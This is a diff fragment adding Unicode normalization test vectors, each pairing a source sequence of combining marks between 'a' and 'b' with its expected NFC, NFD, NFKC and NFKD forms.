+{ source: [0x0061, 0x1BAB, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x1BE6, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x1BE6, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x1BE6, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x1BE6, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x1BE6, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1BE6, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x1BE6, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x1BE6, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x1BE6, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x1BE6, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BF2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BF2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BF3, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BF3, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x1C37, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x1C37, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x1C37, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x1C37, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x1C37, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1C37, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x1C37, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x1C37, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x1C37, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x1C37, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CD4, 0x0062], NFC: [0x0061, 0x0334, 0x1CD4, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CD4, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CD4, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CD4, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CD4, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CD4, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CD4, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CD4, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CD4, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD7, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD7, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD8, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD8, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CDA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CDA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CDA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CDA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CDA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CDA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CDB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CDB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CDB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CDB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CDB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CDB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDC, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDC, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDE, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDE, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CE2, 0x0062], NFC: [0x0061, 0x0334, 0x1CE2, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CE2, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE2, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE2, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CE2, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CE2, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CE2, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CE2, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CE2, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CE3, 0x0062], NFC: [0x0061, 0x0334, 0x1CE3, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CE3, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE3, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE3, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CE3, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CE3, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CE3, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CE3, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CE3, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CE4, 0x0062], NFC: [0x0061, 0x0334, 0x1CE4, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CE4, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE4, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE4, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CE4, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CE4, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CE4, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CE4, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CE4, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CE5, 0x0062], NFC: [0x0061, 0x0334, 0x1CE5, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CE5, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE5, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE5, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CE5, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CE5, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CE5, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CE5, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CE5, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CE6, 0x0062], NFC: [0x0061, 0x0334, 0x1CE6, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CE6, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE6, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE6, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CE6, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CE6, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CE6, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CE6, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CE6, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CE7, 0x0062], NFC: [0x0061, 0x0334, 0x1CE7, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CE7, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE7, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE7, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CE7, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CE7, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CE7, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CE7, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CE7, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1CE8, 0x0062], NFC: [0x0061, 0x0334, 0x1CE8, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1CE8, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE8, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE8, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1CE8, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1CE8, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1CE8, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1CE8, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1CE8, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DC2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DC2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC4, 0x0315, 0x0062] },
